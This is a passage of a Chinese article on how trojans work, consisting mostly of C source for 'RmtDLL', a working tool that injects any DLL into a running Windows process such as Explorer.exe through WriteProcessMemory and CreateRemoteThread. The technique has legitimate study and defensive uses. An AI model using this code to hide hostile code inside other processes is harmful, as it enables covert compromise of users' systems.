揭开木马的神秘面纱.txt

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iReturnCode=(int)_lopen(lpDllFullPathName, OF_READ);
CheckError(iReturnCode, HFILE_ERROR, "DLL File not Exist");
//将DLL文件全路径的ANSI码转换成UNICODE码
iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
lpDllFullPathName, strlen(lpDllFullPathName),
pszLibFileName, MAX_PATH);
CheckError(iReturnCode, 0, "MultByteToWideChar");
//输出最后的操作参数
wprintf(L"Will inject %s", pszLibFileName);
printf(" into process:%s PID=%d\n", argv[1], dwRemoteProcessId); 
}


//打开远程进程
hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程 
PROCESS_VM_OPERATION | //允许VM操作
PROCESS_VM_WRITE, //允许VM写
FALSE, dwRemoteProcessId ); 
CheckError( (int) hRemoteProcess, NULL, 
"Remote Process not Exist or Access Denied!");
//计算DLL路径名需要的内存空间
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, 
MEM_COMMIT, PAGE_READWRITE);
CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
//将DLL的路径名复制到远程进程的内存空间
iReturnCode = WriteProcessMemory(hRemoteProcess, 
pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
CheckError(iReturnCode, false, "WriteProcessMemory");
//计算LoadLibraryW的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
//启动远程线程，通过远程线程调用用户的DLL文件 
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
//等待远程线程退出
WaitForSingleObject(hRemoteThread, INFINITE);
//清场处理
if (pszLibFileRemote != NULL)
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);
}//end of main()

//将进程名转换为PID的函数
DWORD ProcessToPID(char *InputProcessName)
{
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
HANDLE hProcess;
HMODULE hMod;
char szProcessName[MAX_PATH] = "UnknownProcess";



// 计算目前有多少进程, aProcesses[]用来存放有效的进程PIDs
if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) ) return 0;
cProcesses = cbNeeded / sizeof(DWORD);
// 按有效的PID遍历所有的进程
for ( i = 0; i < cProcesses; i++ ) 
{
// 打开特定PID的进程
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, aProcesses[i]);
// 取得特定PID的进程名
if ( hProcess )
{
if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
{
GetModuleBaseName( hProcess, hMod, 
szProcessName, sizeof(szProcessName) );
//将取得的进程名与输入的进程名比较，如相同则返回进程PID
if(!_stricmp(szProcessName, InputProcessName)){
CloseHandle( hProcess );
return aProcesses[i];
}
}
}//end of if ( hProcess )
}//end of for
//没有找到相应的进程名，返回0
CloseHandle( hProcess );
return 0;
}//end of ProcessToPID

//错误处理函数CheckError()
//如果iReturnCode等于iErrorCode,则输出pErrorMsg并退出
void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
{
if(iReturnCode==iErrorCode) {
printf("%s Error:%d\n\n", pErrorMsg, GetLastError());
//清场处理
if (pszLibFileRemote != NULL)
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);
exit(0);
}
}//end of CheckError()

//使用方法说明函数usage()
void usage(char * pErrorMsg)
{
printf("%s\n\n",pErrorMsg);
printf("\t\tRemote Process DLL by Shotgun\n");
printf("\tThis program can inject a DLL into remote process\n");
printf("Email:\n");
printf("\[e-mail]\n");
printf("HomePage:\n");
printf("\thttp://It.Xici.Net\n");
printf("\thttp://www.Patching.Net\n");
printf("USAGE:\n");
printf("\tRmtDLL.exe PID[|ProcessName] DLLFullPathName\n");
printf("Example:\n");
printf("\tRmtDLL.exe 1024 C:\\WINNT\\System32\\MyDLL.dll\n");
printf("\tRmtDLL.exe Explorer.exe C:\\MyDLL.dll\n");
exit(0);
}//end of usage()